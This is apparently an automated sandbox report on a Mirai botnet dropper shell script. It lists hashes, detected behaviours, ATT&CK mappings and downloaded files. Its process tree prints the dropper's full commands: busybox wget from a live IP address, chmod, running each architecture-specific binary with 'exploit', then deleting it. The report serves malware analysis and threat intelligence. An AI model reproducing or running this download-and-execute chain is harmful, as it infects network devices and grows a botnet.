Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
145s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
-
submitted
07/03/2025, 00:21
General
-
Target
wget.sh
-
Size
1KB
-
MD5
a9f753da46e0678e9652f1417378e79a
-
SHA1
19bf100cae7a6a8fa9a42d0368ff1918c9b796ac
-
SHA256
51b1d643a14b5c081b4a836bb80812e7866811ab8f90cf8ace4744565408d16a
-
SHA512
3969653a243f80154bbca0045c35e3e8e0b47fdc85bcc13c8887c24e2c207dfd92e3265393ea7d8a28347c67d69501a0d7a2aa2247e116a0705d33731bdce636
Malware Config
Extracted
mirai
BOTNET
Extracted
mirai
BOTNET
Extracted
mirai
BOTNET
Extracted
mirai
BOTNET
Extracted
mirai
BOTNET
Signatures
-
Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
-
Mirai family
-
Contacts a large (171173) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 12 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 11 IoCs
-
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
-
Renames itself 1 IoCs
-
Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
-
Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Changes its process name 1 IoCs
-
Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
-
Writes file to tmp directory 11 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/wget.sh/tmp/wget.sh1⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Renames itself
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
-
/bin/busybox/bin/busybox wget http://176.65.134.5/jklarm -O jklarm2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox chmod +x jklarm2⤵
- File and Directory Permissions Modification
-
-
/tmp/jklarm./jklarm exploit2⤵
-
-
/bin/busybox/bin/busybox rm -rf jklarm2⤵
-
-
/bin/busybox/bin/busybox wget http://176.65.134.5/jklarm5 -O jklarm52⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox chmod +x jklarm52⤵
- File and Directory Permissions Modification
-
-
/tmp/jklarm5./jklarm5 exploit2⤵
-
-
/bin/busybox/bin/busybox rm -rf jklarm52⤵
-
-
/bin/busybox/bin/busybox wget http://176.65.134.5/jklarm6 -O jklarm62⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox chmod +x jklarm62⤵
- File and Directory Permissions Modification
-
-
/tmp/jklarm6./jklarm6 exploit2⤵
-
-
/bin/busybox/bin/busybox rm -rf jklarm62⤵
-
-
/bin/busybox/bin/busybox wget http://176.65.134.5/jklarm7 -O jklarm72⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox chmod +x jklarm72⤵
- File and Directory Permissions Modification
-
-
/tmp/jklarm7./jklarm7 exploit2⤵
-
-
/bin/busybox/bin/busybox rm -rf jklarm72⤵
-
-
/bin/busybox/bin/busybox wget http://176.65.134.5/jklm68k -O jklm68k2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox chmod +x jklm68k2⤵
- File and Directory Permissions Modification
-
-
/tmp/jklm68k./jklm68k exploit2⤵
-
-
/bin/busybox/bin/busybox rm -rf jklm68k2⤵
-
-
/bin/busybox/bin/busybox wget http://176.65.134.5/jklmips -O jklmips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox chmod +x jklmips2⤵
- File and Directory Permissions Modification
-
-
/tmp/jklmips./jklmips exploit2⤵
- System Network Configuration Discovery
-
-
/bin/busybox/bin/busybox rm -rf jklmips2⤵
- System Network Configuration Discovery
-
-
/bin/busybox/bin/busybox wget http://176.65.134.5/jklmpsl -O jklmpsl2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox chmod +x jklmpsl2⤵
- File and Directory Permissions Modification
-
-
/tmp/jklmpsl./jklmpsl exploit2⤵
-
-
/bin/busybox/bin/busybox rm -rf jklmpsl2⤵
-
-
/bin/busybox/bin/busybox wget http://176.65.134.5/jklppc -O jklppc2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox chmod +x jklppc2⤵
- File and Directory Permissions Modification
-
-
/tmp/jklppc./jklppc exploit2⤵
-
-
/bin/busybox/bin/busybox rm -rf jklppc2⤵
-
-
/bin/busybox/bin/busybox wget http://176.65.134.5/jklsh4 -O jklsh42⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox chmod +x jklsh42⤵
- File and Directory Permissions Modification
-
-
/tmp/jklsh4./jklsh4 exploit2⤵
-
-
/bin/busybox/bin/busybox rm -rf jklsh42⤵
-
-
/bin/busybox/bin/busybox wget http://176.65.134.5/jklspc -O jklspc2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox chmod +x jklspc2⤵
- File and Directory Permissions Modification
-
-
/tmp/jklspc./jklspc exploit2⤵
-
-
/bin/busybox/bin/busybox rm -rf jklspc2⤵
-
-
/bin/busybox/bin/busybox wget http://176.65.134.5/jklx86 -O jklx862⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox chmod +x jklx862⤵
- File and Directory Permissions Modification
-
-
/bin/busybox/bin/busybox rm -rf jklx862⤵
-
-
/bin/busybox/bin/busybox wget http://176.65.134.5/jklarc -O jklarc2⤵
-
-
/bin/busybox/bin/busybox chmod +x jklarc2⤵
- File and Directory Permissions Modification
-
-
/tmp/jklarc./jklarc exploit2⤵
-
-
/bin/busybox/bin/busybox rm -rf jklarc2⤵
-
-
/bin/busybox/bin/busybox rm -rf wget.sh2⤵
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
55KB
MD5a2e0300a38d49740dd9af7820f2e2b6b
SHA182fc641a38383412bb88dd5cdb83d45a8315daa5
SHA256fc96aa360ca3f3318444f338f9131a9a43c00beb3e812e639cfe80f07219c9a7
SHA512cc4906d1088a9191ade954aa1637ade08e6e7278bb4b541a0af0549bb876b3adcb7ba5cc94acf3e455d1e65e5f6afce36b1556129b95a53392aae72112f3bfa6
-
Filesize
55KB
MD56808c976ae3e0456efb6e6fc4e1a8423
SHA1d9b7a61a16aa0e2875b04ff7eac22e72fc15a24e
SHA256270336c1d58b1ffaa8ebba18d47d73c2451fa149194f37cc44e980ac96cf1443
SHA5128b890a0f2d216b8041577412b2d7d4f9524caf0d185f45d48ce7df781fce05e0148e3f767dfc6bb76931a9237e6a26b80decae63a7685760727a8b9716855917
-
Filesize
65KB
MD52c56a6803c9b541e037c5501da6def2f
SHA15b5787622aa43f619ecd49c1659f769f9bb812cc
SHA256906399d69e39253d0551c6bf9c59451b2ee12e5e7e8ac557040b38c6b813e711
SHA512b799bea5f2a69cf97abe1a5b6acb64f4488430a06555ae511a2e0f2e8177ae4c021560914544fd8fbb4a1490f7a686cee8be78c1bd2830305b8d780f79a8e109
-
Filesize
78KB
MD599154e7a3a17fd455bc0131558ac9ca5
SHA1e05cb68fb3ef86f8ed9b33464447931c976d19d2
SHA256494100c806fe62f35ed5c3be8beff7469d490f0ab1f0bb7e48cff5ee2338c704
SHA5129312a49e34448c583541993b9778fa033abeddb62588b6e609c71e4a2db6af64dc0bc886cde06e391997fb40deaa65ee89133ccf718ec273e8c00dc629c46273
-
Filesize
56KB
MD591dc53f1e1c3e4dca61214c5aac4b95f
SHA133de1d50d02ef6f0942a6102531acf76baedc9d0
SHA25650f4f9c94f0a96aead95a0ca2866a99bda3d3f9d8c2360a02bd993dfc37c5f2a
SHA51217e9e15d031e3a784dcb5a132d8303b6764b07f68e953aae42f0d94b95adcee3321c85002d6c25ead6f12261e226b8947b651feaff52c58dce55e3a7a845b5c9
-
Filesize
74KB
MD5da5f082847104367fefde63653084863
SHA163a45455eb18ea7f6f5d1b374bd1cb18781c6a86
SHA2566fc1f441c08b49ceb3083fa2a201d424c5282ec7a5cd2431bd017490ba2b23de
SHA5122c406081e2a226af6dbe06370224d14dca11f73b7532069ca028027816eb61122b6b49e9ec672c041cf362792aa1e23ca9e29dbe8c580e8838a6f7d2c2edffa6
-
Filesize
74KB
MD5eb8e5a5d4d7a332bf23f7cc07c05389f
SHA1dd9291fec1c6905ba48fdf18462a0a350e82d36a
SHA2560ee587fea341d9da43777102b508c6017d29ad537594afa596e042d4ecd67cf8
SHA512c5aa6c4e4c4218b21d2f0cf7cdab53f7b21c8f615db7bcf1f11f9aed5e0efc57d09abfcdf6205fa16808c7af0ada585c357c7f6913bfeda02737411f8a1dbcec
-
Filesize
54KB
MD52b4cf97b280d52022bca7412cd3e88ce
SHA1c980732704ca918a436a9157ac176f59b7750700
SHA256b825d7abc8614fc03e79be548c6ef93dd9f759e6713e2b4a7a7f596edf43aeb8
SHA512b41497c3ff903262410caa2c7f85fb165308ba4edcd5fb2cd60fa3ae1d1d4298ca7437ad40e65bd56efb711ad0eb3d549b914c8c2301e5d44a0f2fe762c1363b
-
Filesize
50KB
MD53036c5d81ab1803280ac6720f3db46fc
SHA1fec661f4177be27c9f2e4d88a14eb298649cd59e
SHA256ba7faa58d615bd5f4ebaaf7f42b7fe484639b7a0a96217c541b592837899d4e7
SHA5127ab20c93c8ccbd2abf21262f1c26db38844f7f4826f8e9a0e0fbff054dad8addd28b990dba78602073a629c7c95e099ca0806bbf49bb3a90735da918521c002b
-
Filesize
58KB
MD53265cd7853c5c1dcff6d7f601f376c00
SHA156c7c08c2d71c1ada224c2be71c7010e0a7f7917
SHA2564b7e002022269bff7334ec6174d91723412db36b319cc970e3e3707ac433b3ba
SHA5120c804da08f2b99eac2a7dea87a2a8f212e0c4aec28b1684df125037b9393ca9f171d7190bce9f7cfc18f5c20beefb1c9deb8aa692043909fc3fa4a18c9b7a46a
-
Filesize
49KB
MD584597b4e86a02818478e8e9ef7c74485
SHA180d83dea146a0fc48a5154c87d19bbefd3a1c26b
SHA25628bb529e99c8730de533d64995979a491d6af643ddcd99997788ff945dc6b426
SHA51202d3c182c9b10bc5a21a0459599d86b4254307e11e35e77e140c82dd97b86ed180c73c5068fd4706e6f7d2896b167521f5cbc67a89d457a1aaf77770180ae08f